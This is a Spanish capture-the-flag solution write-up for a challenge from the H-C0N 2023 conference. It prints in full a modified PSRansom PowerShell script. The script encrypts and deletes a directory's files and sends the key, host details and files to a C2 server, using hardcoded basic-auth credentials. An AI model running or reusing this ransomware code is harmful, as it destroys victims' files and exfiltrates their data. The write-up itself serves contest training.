CTF,

Reimonware H-C0N 2023

Con la edición del V congreso de ciberseguridad H-C0N 2023 celebrado en LaNave (Madrid), algunos amigos me pidieron colaborar con un reto para el CTF que se organizó durante los días 21 al 25 de febrero.

El propio congreso se lo merece y las personas que lo organizan hacen un esfuerzo increíble por celebrarlo, así que un poco de trabajo a modo de agradecimiento, no cuesta nada. Especial mención a Alejandro Taibo, «Ka0rz» y enhorabuena a los ganadores.

Primera parte.

Se proporciona un binario, una transcripción de PowerShell de su ejecución y un fichero cifrado por el propio binario. El binario se comunica con un c2 para sacar información hacia fuera , en este caso la clave de descifrado que deberán encontrar en https://c2c.ramonware.com/C2Files/key.txt mediante el análisis del propio binario.

Descifrando el fichero data.zip.psr accederán a un pcap y un fichero léeme.txt.

El fichero ps1 ha sido convertido de ps1 a exe mediante ps2exe en su versión 1.0.12. El fichero original parte de aquí: https://github.com/JoelGMSec/PSRansom y ha sido modificado ligeramente para su acceso al c2c mediante contraseña.

El powershell original se puede recuperar por longitud leyendo el base64 de una de sus secciones de datos, mediante Ghidra, por ejemplo.

El código fuente completo quedaría sí:

#================================#
#     PSRansom by @JoelGMSec     #
#      https://darkbyte.net      #
#================================#

# Design
$ProgressPreference = "SilentlyContinue"
$ErrorActionPreference = "SilentlyContinue"
$OSVersion = [Environment]::OSVersion.Platform
if ($OSVersion -like "*Win*") {
$Host.UI.RawUI.WindowTitle = "PSRansom - by @JoelGMSec" 
$Host.UI.RawUI.BackgroundColor = "Black"
$Host.UI.RawUI.ForegroundColor = "White" }

# Banner
function Show-Banner {
   Write-Host 
   Write-Host "  ____  ____  ____                                  " -ForegroundColor Blue
   Write-Host " |  _ \/ ___||  _ \ __ _ _ __  ___  ___  _ __ ___   " -ForegroundColor Blue
   Write-Host " | |_) \___ \| |_) / _' | '_ \/ __|/ _ \| '_ ' _ \  " -ForegroundColor Blue
   Write-Host " |  __/ ___) |  _ < (_| | | | \__ \ (_) | | | | | | " -ForegroundColor Blue
   Write-Host " |_|   |____/|_| \_\__,_|_| |_|___/\___/|_| |_| |_| " -ForegroundColor Blue
   Write-Host                                                            
   Write-Host "  ----------------- by @JoelGMSec ----------------  " -ForegroundColor Green }

# Help
function Show-Help {
   Write-host ; Write-Host " Info: " -ForegroundColor Yellow -NoNewLine ; Write-Host " This tool helps you simulate encryption process of a"
   Write-Host "        generic ransomware in PowerShell with C2 capabilities"
   Write-Host ; Write-Host " Usage: " -ForegroundColor Yellow -NoNewLine ; Write-Host ".\PSRansom.ps1 -e Directory -s C2Server -p C2Port" -ForegroundColor Blue 
   Write-Host "          Encrypt all files & sends recovery key to C2Server" -ForegroundColor Green
   Write-Host "          Use -x to exfiltrate and decrypt files on C2Server" -ForegroundColor Green
   Write-Host ; Write-Host "        .\PSRansom.ps1 -d Directory -k RecoveryKey" -ForegroundColor Blue 
   Write-Host "          Decrypt all files with recovery key string" -ForegroundColor Green
   Write-Host ; Write-Host " Warning: " -ForegroundColor Red -NoNewLine  ; Write-Host "All info will be sent to the C2Server without any encryption"
   Write-Host "         " -NoNewLine ; Write-Host " You need previously generated recovery key to retrieve files" ; Write-Host }

# Variables
$Mode = $args[0]
$Directory = $args[1]
$PSRKey = $args[3]
$C2Server = $args[3]
$C2Port = $args[5]
$Exfil = $args[6]
$C2Status = $null

# Errors
if ($args[0] -like "-h*") { Show-Banner ; Show-Help ; break }
if ($args[0] -eq $null) { Show-Banner ; Show-Help ; Write-Host "[!] Not enough parameters!" -ForegroundColor Red ; Write-Host ; break }
if ($args[1] -eq $null) { Show-Banner ; Show-Help ; Write-Host "[!] Not enough parameters!" -ForegroundColor Red ; Write-Host ; break }
if ($args[2] -eq $null) { Show-Banner ; Show-Help ; Write-Host "[!] Not enough parameters!" -ForegroundColor Red ; Write-Host ; break }
if ($args[3] -eq $null) { Show-Banner ; Show-Help ; Write-Host "[!] Not enough parameters!" -ForegroundColor Red ; Write-Host ; break }

# Proxy Aware
[System.Net.WebRequest]::DefaultWebProxy = [System.Net.WebRequest]::GetSystemWebProxy()
[System.Net.WebRequest]::DefaultWebProxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials
$AllProtocols = [System.Net.SecurityProtocolType]"Ssl3,Tls,Tls11,Tls12" ; [System.Net.ServicePointManager]::SecurityProtocol = $AllProtocols

# Functions
$computer = ([Environment]::MachineName).ToLower() ; $user = ([Environment]::UserName).ToLower() ; $Readme = "readme.txt"
$Time = Get-Date -Format "HH:mm - dd/MM/yy" ; $TMKey = $time.replace(":","").replace(" ","").replace("-","").replace("/","")+$computer
if ($OSVersion -like "*Win*") { $domain = (([Environment]::UserDomainName).ToLower()+"\") ; $slash = "\" } else { $domain = $null ; $slash = "/" } 
$DirectoryTarget = $Directory.Split($slash)[-1] ; if (!$DirectoryTarget) { $DirectoryTarget = $Directory.Path.Split($slash)[-1] }

function Invoke-AESEncryption {
   [CmdletBinding()]
   [OutputType([string])]
   Param(
       [Parameter(Mandatory = $true)]
       [ValidateSet("Encrypt", "Decrypt")]
       [String]$Mode,

       [Parameter(Mandatory = $true)]
       [String]$Key,

       [Parameter(Mandatory = $true, ParameterSetName = "CryptText")]
       [String]$Text,

       [Parameter(Mandatory = $true, ParameterSetName = "CryptFile")]
       [String]$Path)

   Begin {
      $shaManaged = New-Object System.Security.Cryptography.SHA256Managed
      $aesManaged = New-Object System.Security.Cryptography.AesManaged
      $aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC
      $aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
      $aesManaged.BlockSize = 128
      $aesManaged.KeySize = 256 }

   Process {
      $aesManaged.Key = $shaManaged.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($Key))
      switch ($Mode) {

         "Encrypt" {
             if ($Text) {$plainBytes = [System.Text.Encoding]::UTF8.GetBytes($Text)}

             if ($Path) {
                $File = Get-Item -Path $Path -ErrorAction SilentlyContinue
                if (!$File.FullName) { break }
                $plainBytes = [System.IO.File]::ReadAllBytes($File.FullName)
                $outPath = $File.FullName + ".psr" }

             $encryptor = $aesManaged.CreateEncryptor()
             $encryptedBytes = $encryptor.TransformFinalBlock($plainBytes, 0, $plainBytes.Length)
             $encryptedBytes = $aesManaged.IV + $encryptedBytes
             $aesManaged.Dispose()

             if ($Text) {return [System.Convert]::ToBase64String($encryptedBytes)}
             if ($Path) {
                [System.IO.File]::WriteAllBytes($outPath, $encryptedBytes)
                (Get-Item $outPath).LastWriteTime = $File.LastWriteTime }}

         "Decrypt" {
             if ($Text) {$cipherBytes = [System.Convert]::FromBase64String($Text)}

             if ($Path) {
                $File = Get-Item -Path $Path -ErrorAction SilentlyContinue
                if (!$File.FullName) { break }
                $cipherBytes = [System.IO.File]::ReadAllBytes($File.FullName)
                $outPath = $File.FullName.replace(".psr","") }

             $aesManaged.IV = $cipherBytes[0..15]
             $decryptor = $aesManaged.CreateDecryptor()
             $decryptedBytes = $decryptor.TransformFinalBlock($cipherBytes, 16, $cipherBytes.Length - 16)
             $aesManaged.Dispose()

             if ($Text) {return [System.Text.Encoding]::UTF8.GetString($decryptedBytes).Trim([char]0)}
             if ($Path) {
                [System.IO.File]::WriteAllBytes($outPath, $decryptedBytes)
                (Get-Item $outPath).LastWriteTime = $File.LastWriteTime }}}}

  End {
      $shaManaged.Dispose()
      $aesManaged.Dispose()}}

function RemoveWallpaper {
$code = @"
using System;
using System.Drawing;
using System.Runtime.InteropServices;
using Microsoft.Win32;
 
namespace CurrentUser { public class Desktop {
[DllImport("user32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern int SystemParametersInfo(int uAction, int uParm, string lpvParam, int fuWinIni);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern int SetSysColors(int cElements, int[] lpaElements, int[] lpRgbValues);
public const int UpdateIniFile = 0x01; public const int SendWinIniChange = 0x02;
public const int SetDesktopBackground = 0x0014; public const int COLOR_DESKTOP = 1;
public int[] first = {COLOR_DESKTOP};

public static void RemoveWallPaper(){
SystemParametersInfo( SetDesktopBackground, 0, "", SendWinIniChange | UpdateIniFile );
RegistryKey regkey = Registry.CurrentUser.OpenSubKey("Control Panel\\Desktop", true);
regkey.SetValue(@"WallPaper", 0); regkey.Close();}

public static void SetBackground(byte r, byte g, byte b){ int[] elements = {COLOR_DESKTOP};

RemoveWallPaper();
System.Drawing.Color color = System.Drawing.Color.FromArgb(r,g,b);
int[] colors = { System.Drawing.ColorTranslator.ToWin32(color) };

SetSysColors(elements.Length, elements, colors);
RegistryKey key = Registry.CurrentUser.OpenSubKey("Control Panel\\Colors", true);
key.SetValue(@"Background", string.Format("{0} {1} {2}", color.R, color.G, color.B));
key.Close();}}}
 
"@
try { Add-Type -TypeDefinition $code -ReferencedAssemblies System.Drawing.dll }
finally {[CurrentUser.Desktop]::SetBackground(250, 25, 50)}}

function PopUpRansom {
[void] [System.Reflection.Assembly]::LoadWithPartialName("System.Drawing")  
[void] [System.Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms") 
[void] [System.Windows.Forms.Application]::EnableVisualStyles() 

Invoke-WebRequest -useb https://raw.githubusercontent.com/JoelGMSec/PSRansom/main/Demo/PSRansom.jpg -Outfile $env:temp\PSRansom.jpg
Invoke-WebRequest -useb https://raw.githubusercontent.com/JoelGMSec/PSRansom/main/Demo/PSRansom.ico -Outfile $env:temp\PSRansom.ico
$shell = New-Object -ComObject "Shell.Application"
$shell.minimizeall()

$form = New-Object system.Windows.Forms.Form
$form.ControlBox = $false;
$form.Size = New-Object System.Drawing.Size(900,600) 
$form.BackColor = "Black" 
$form.MaximizeBox = $false 
$form.StartPosition = "CenterScreen" 
$form.WindowState = "Normal"
$form.Topmost = $true
$form.FormBorderStyle = "Fixed3D"
$form.Text = "PSRansom by @JoelGMSec - https://github.com/JoelGMSec/PSRansom"
$formIcon = New-Object system.drawing.icon ("$env:temp\PSRansom.ico") 
$form.Icon = $formicon  

$img = [System.Drawing.Image]::Fromfile("$env:temp\PSRansom.jpg")
$pictureBox = new-object Windows.Forms.PictureBox
$pictureBox.Width = 920
$pictureBox.Height = 370
$pictureBox.SizeMode = "StretchImage"
$pictureBox.Image = $img
$form.controls.add($pictureBox)

$label = New-Object System.Windows.Forms.Label
$label.ForeColor = "Cyan"
$label.Text = "All your files have been encrypted by PSRansom!" 
$label.AutoSize = $true 
$label.Location = New-Object System.Drawing.Size(50,400) 
$font = New-Object System.Drawing.Font("Consolas",15,[System.Drawing.FontStyle]::Bold) 
$form.Font = $Font 
$form.Controls.Add($label) 

$label1 = New-Object System.Windows.Forms.Label
$label1.ForeColor = "White"
$label1.Text = "But don't worry, you can still recover them with the recovery key :)" 
$label1.AutoSize = $true 
$label1.Location = New-Object System.Drawing.Size(50,450)
$font1 = New-Object System.Drawing.Font("Consolas",15,[System.Drawing.FontStyle]::Bold) 
$form.Font = $Font1
$form.Controls.Add($label1) 

$okbutton = New-Object System.Windows.Forms.Button;
$okButton.Location = New-Object System.Drawing.Point(750,500)
$okButton.Size = New-Object System.Drawing.Size(110,35)
$okbutton.ForeColor = "Black"
$okbutton.BackColor = "White"
$okbutton.FlatStyle = [System.Windows.Forms.FlatStyle]::Flat
$okButton.Text = 'Pay Now!'
$okbutton.Visible = $false
$okbutton.Enabled = $true
$okButton.DialogResult = [System.Windows.Forms.DialogResult]::OK
$okButton.add_Click({ 
[System.Windows.Forms.MessageBox]::Show($this.ActiveForm, 'Your payment order has been registered!', 'PSRansom Payment System',
[Windows.Forms.MessageBoxButtons]::"OK", [Windows.Forms.MessageBoxIcon]::"Warning")})
$form.AcceptButton = $okButton
$form.Controls.Add($okButton)
$form.Activate() 2>&1> $null
$form.Focus() 2>&1> $null

$btn=New-Object System.Windows.Forms.Label
$btn.Location = New-Object System.Drawing.Point(50,500)
$btn.Width = 500
$form.Controls.Add($btn)
$btn.ForeColor = "Red"
$startTime = [DateTime]::Now
$count = 10.6
$timer=New-Object System.Windows.Forms.Timer
$timer.add_Tick({$elapsedSeconds = ([DateTime]::Now - $startTime).TotalSeconds ; $remainingSeconds = $count - $elapsedSeconds
if ($remainingSeconds -like "-0.1*"){ $timer.Stop() ; $okbutton.Visible = $true ; $btn.Text = "0 Seconds remaining.." }
$btn.Text = [String]::Format("{0} Seconds remaining..", [math]::round($remainingSeconds))})
$timer.Start()

$btntest = $form.ShowDialog()
if ($btntest -like "OK"){ $Global:PayNow = "True" }}
Remove-Item $env:temp\PSRansom* -force

function R64Encoder { 
   if ($args[0] -eq "-t") { $base64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($args[1])) }
   if ($args[0] -eq "-f") { $base64 = [Convert]::ToBase64String([IO.File]::ReadAllBytes($args[1])) }
   $base64 = $base64.Split("=")[0] ; $base64 = $base64.Replace("+", "–") ; $base64 = $base64.Replace("/", "_")
   $revb64 = $base64.ToCharArray() ; [array]::Reverse($revb64) ; $R64Base = -join $revb64 ; return $R64Base }

function ShowInfo {

   Write-Host ; Write-Host "[>] Hostname: " -NoNewLine -ForegroundColor Yellow ; Write-Host $computer
   Write-Host "[>] Current User: " -NoNewLine -ForegroundColor Yellow ; Write-Host $domain$user
   Write-Host "[>] Current Time: " -NoNewLine -ForegroundColor Yellow ; Write-Host $time    
   
   }

function GetStatus {
   Try { Invoke-WebRequest -useb "$C2Server`:$C2Port/status" -Method GET 
      Write-Host "[i] Command & Control Server is up!" -ForegroundColor Green }
   Catch { Write-Host "[!] Command & Control Server is down!" -ForegroundColor Red }}

function SendResults {
	$a = 'c2c'
	$b = 'FUVh5PYcbCJ6c7Kd'
	$c = "$($a):$($b)"
	$e = [System.Convert]::ToBase64String([System.Text.Encoding]::ASCII.GetBytes($c))

	$auth = "Basic $e"

	$Headers = @{
		Authorization = $auth
	}
	
   $DESKey = Invoke-AESEncryption -Mode Encrypt -Key $TMKey -Text $PSRKey ; $B64Key = R64Encoder -t $DESKey
   $C2Data = " [>] Key: $B64Key [>] Hostname: $computer [>] Current User: $domain$user [>] Current Time: $time"
   $RansomLogs = Get-Content "$Directory$slash$Readme" | Select-String "[!]" | Select-String "PSRansom!" -NotMatch
   $B64Data = R64Encoder -t $C2Data ; $B64Logs = R64Encoder -t $RansomLogs   
   Invoke-WebRequest -useb "$C2Server`:$C2Port/data" -Headers $Headers -Method POST -Body $B64Data 2>&1> $null
   Invoke-WebRequest -useb "$C2Server`:$C2Port/logs" -Headers $Headers -Method POST -Body $B64Logs 2>&1> $null 
   }

function SendClose {
   Invoke-WebRequest -useb "$C2Server`:$C2Port/close" -Method GET 2>&1> $null }

function SendPay {
   Invoke-WebRequest -useb "$C2Server`:$C2Port/pay" -Method GET 2>&1> $null }

function SendOK {
   Invoke-WebRequest -useb "$C2Server`:$C2Port/done" -Method GET 2>&1> $null }

function CreateReadme {
   $ReadmeTXT = "All your files have been encrypted by PSRansom!`nBut don't worry, you can still recover them with the recovery key :)`n"
   if (!(Test-Path "$Directory$slash$Readme")) { Add-Content -Path "$Directory$slash$Readme" -Value $ReadmeTXT 
   Add-Content -Path "$Directory$slash$Readme" -Value "Recovery Key: $PSRKey `n" }}

function EncryptFiles { 
   $ExcludedFiles = '*.psr', 'readme.txt', '*.dll', '*.ini', '*.sys', '*.exe', '*.msi', '*.NLS', '*.acm', '*.nls', '*.EXE', '*.dat', '*.efi', '*.mui'
   foreach ($i in $(Get-ChildItem $Directory -recurse -exclude $ExcludedFiles | Where-Object { ! $_.PSIsContainer } | ForEach-Object { $_.FullName })) { 
   Invoke-AESEncryption -Mode Encrypt -Key $PSRKey -Path $i ; Add-Content -Path "$Directory$slash$Readme" -Value "[!] $i is now encrypted" ; Remove-Item $i }
   $RansomLogs = Get-Content "$Directory$slash$Readme" | Select-String "[!]" | Select-String "PSRansom!" -NotMatch ; if (!$RansomLogs) { 
   Add-Content -Path "$Directory$slash$Readme" -Value "[!] No files have been encrypted!" }}

function ExfiltrateFiles {
	$a = 'c2c'
	$b = 'FUVh5PYcbCJ6c7Kd'
	$c = "$($a):$($b)"
	$e = [System.Convert]::ToBase64String([System.Text.Encoding]::ASCII.GetBytes($c))

	$auth = "Basic $e"

	$Headers = @{
		Authorization = $auth
	}

   Invoke-WebRequest -useb "$C2Server`:$C2Port/files" -Headers $Headers -Method GET 2>&1> $null 
   $RansomLogs = Get-Content "$Directory$slash$Readme" | Select-String "No files have been encrypted!" ; if (!$RansomLogs) {
   foreach ($i in $(Get-ChildItem $Directory -recurse -filter *.psr | Where-Object { ! $_.PSIsContainer } | ForEach-Object { $_.FullName })) {
      $Pfile = $i.split($slash)[-1] ; $B64file = R64Encoder -f $i ; $B64Name = R64Encoder -t $Pfile
	  Write-Host "[!] FILE $B64Name" -ForegroundColor Red
      Invoke-WebRequest -useb "$C2Server`:$C2Port/files/$B64Name" -Headers $Headers -Method POST -Body $B64file 2>&1> $null }}
	  
   else { $B64Name = R64Encoder -t "none.null" ; Invoke-WebRequest -useb "$C2Server`:$C2Port/files/$B64Name" -Headers $Headers -Method POST -Body $B64file 2>&1> $null }}

function DecryptFiles {
   foreach ($i in $(Get-ChildItem $Directory -recurse -filter *.psr | Where-Object { ! $_.PSIsContainer } | ForEach-Object { $_.FullName })) {
      Invoke-AESEncryption -Mode Decrypt -Key $PSRKey -Path $i ; $rfile = $i.replace(".psr","")
      Write-Host "[+] $rfile is now decrypted" -ForegroundColor Blue } ; Remove-Item "$Directory$slash$Readme" }

function CheckFiles { 
   $RFiles = Get-ChildItem $Directory -recurse -filter *.psr ; if ($RFiles) { $RFiles | Remove-Item } else {
   Write-Host "[!] No encrypted files has been found!" -ForegroundColor Red }}

# Main
Show-Banner ; ShowInfo

if ($Mode -eq "-d") { 
   Write-Host ; Write-Host "[!] Recovering ransomware infection on $DirectoryTarget directory.." -ForegroundColor Red
   Write-Host "[i] Applying recovery key on encrypted files.." -ForegroundColor Green
   DecryptFiles ; CheckFiles ; sleep 1 }
 
else {
   Write-Host ; Write-Host "[!] Simulating ransomware infection on $DirectoryTarget directory.." -ForegroundColor Red
   Write-Host "[+] Checking communication with Command & Control Server.." -ForegroundColor Blue
   $C2Status = GetStatus ; sleep 1

   Write-Host "[+] Generating new random string key for encryption.." -ForegroundColor Blue
   $PSRKey = -join ( (48..57) + (65..90) + (97..122) | Get-Random -Count 24 | % {[char]$_})
   #Write-Host "[+] Password generated: $PSRKey" -ForegroundColor Green 
   
   Write-Host "[!] Encrypting all files with 256 bits AES key.." -ForegroundColor Red
   CreateReadme ; EncryptFiles ; if ($C2Status) { SendResults ; sleep 1

   if ($Exfil -eq "-x") { Write-Host "[i] Exfiltrating files to Command & Control Server.." -ForegroundColor Green
      ExfiltrateFiles ; sleep 1 }}

   if (!$C2Status) { Write-Host "[+] Saving logs and key in readme.txt.." -ForegroundColor Blue }
   else { Write-Host "[+] Sending logs and key to Command & Control Server.." -ForegroundColor Blue }}

   if ($args -like "-demo") { RemoveWallpaper ; PopUpRansom
   if ($PayNow -eq "True") { SendPay ; SendOK } else { SendClose ; SendOK }}
   else { SendOK }

sleep 1 ; Write-Host "[i] Done!"

De este y el script original de JoelGMSec (https://github.com/JoelGMSec/PSRansom) se extrae la clave para descifrar el .psr.

Los pasos para acceder al fichero son los siguientes.

Acceder con las credenciales del dominio extraídas del ps1.

$a = 'c2c'
$b = 'FUVh5PYcbCJ6c7Kd'

Ver el directorio donde se produce el envío de datos, en este caso la key. Este dato se puede sacar inspeccionando el script C2Server.ps1

/C2Files

Localización final de la clave:

https://c2c.ramonware.com/C2Files/key.txt

Por tanto, la clave «sFA02ndh613owTcjKQR9X8ML» nos permitirá realizar el descifrado.

 

Segunda parte.

Una vez descifrado, procedemos a seguir con la segunda parte del reto.

El pcap contiene una conversación SCTP.  Se observa que se envían palabras clave al servidor y el servidor responde siempre lo mismo, excepto para la palabra  “lamborghini”, que nos indica que en el reto real saldrá probablemente la información que nos interesa.

Efectivamente si enviamos dicha palabra a la ip / puerto del reto real, obtendremos un pastebin que contendrá la flag. Al tratarse de un servicio cuyo puerto es SCTP, debemos escanear puertos en la IP de la siguiente forma:

$ sudo nmap  -p- -sY -sZ 10.131.0.2
Starting Nmap 7.80 ( https://nmap.org ) at 2023-02-18 09:45 CET
Nmap scan report for 10.131.0.2
Host is up (0.039s latency).

PORT      STATE         SERVICE
9876/sctp open|filtered unknown

Habrá que utilizar un cliente SCTP adecuando el envío de datos al puerto descubierto la contraseña secreta.

Para este solucionario, se ha utilizado pysctp,  https://github.com/P1sec/pysctp.

Finalmente usando la misma contraseña, accedemos a la flag en https://pastebin.com/3Ly9H8P8.

Esta entrada esta dedicada a un amigo que se fue el año pasado y que ha contribuido y aportado desde tiempos IRC a incontables momentos de alegría y conocimientos en mi vida personal. No vueles alto ^FiDo^, que ya estás allí.

In memórian Fido/Avantasia.

 

Puedes descargar el reto aquí: https://www.dropbox.com/s/y55fe1lb9kwoy6e/reto_tunelko_Hc0n.zip?dl=0